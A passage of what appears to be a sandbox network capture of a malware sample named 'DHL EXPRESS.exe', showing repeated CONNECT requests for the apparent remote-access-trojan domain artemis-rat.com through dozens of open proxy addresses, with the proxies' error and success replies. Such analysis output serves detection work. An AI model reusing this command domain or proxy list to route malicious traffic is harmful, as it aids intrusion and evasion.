Mar 11, 2024 18:37:01.566163063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.566255093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.992007017 CET	95	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1857	192.168.2.8	54904	138.2.73.157	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.530738115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1858	192.168.2.8	55014	37.187.77.58	19767	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.534137011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.571604967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.597201109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1859	192.168.2.8	55055	117.160.250.131	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.535583019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.269089937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.269093037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.532435894 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:37:01 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 18:37:04.530154943 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:37:01 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1860	192.168.2.8	54205	163.172.169.27	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.544384956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.565901995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.566163063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.566236973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.565736055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.690686941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:43.784492970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:07.893812895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1861	192.168.2.8	55217	51.15.252.246	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.545243025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1862	192.168.2.8	55015	146.59.70.29	22975	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.549495935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.571605921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.597212076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.690525055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1863	192.168.2.8	55216	8.217.95.44	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.550477028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1864	192.168.2.8	55212	103.216.49.233	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.555908918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1865	192.168.2.8	55211	72.49.49.11	31034	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.563286066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1866	192.168.2.8	55215	94.177.106.178	2324	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.563771963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1867	192.168.2.8	55220	45.11.95.165	5045	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.563916922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.919461012 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1868	192.168.2.8	55191	68.71.254.6	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.572258949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1869	192.168.2.8	55081	159.223.166.21	1372	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.580276012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1870	192.168.2.8	55063	189.240.60.169	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.585053921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.861939907 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1871	192.168.2.8	55087	148.72.215.230	44387	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.669642925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.706465960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.706540108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.800226927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.800049067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.893840075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:43.911604881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:07.909452915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:55.925096989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1872	192.168.2.8	55218	102.132.201.202	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.670000076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1873	192.168.2.8	55073	65.108.9.181	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.743722916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769057989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.769346952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.769171000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.768778086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.878202915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:43.972022057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:08.003191948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1874	192.168.2.8	55098	113.161.56.137	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.744035006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:55.184134960 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/5.5 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:38:55 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3728 X-Squid-Error: ERR_CONNECT_FAIL 101 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" CONTENT="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1875	192.168.2.8	52388	104.192.202.11	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:55.750200033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.688918114 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1876	192.168.2.8	54316	75.89.101.63	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
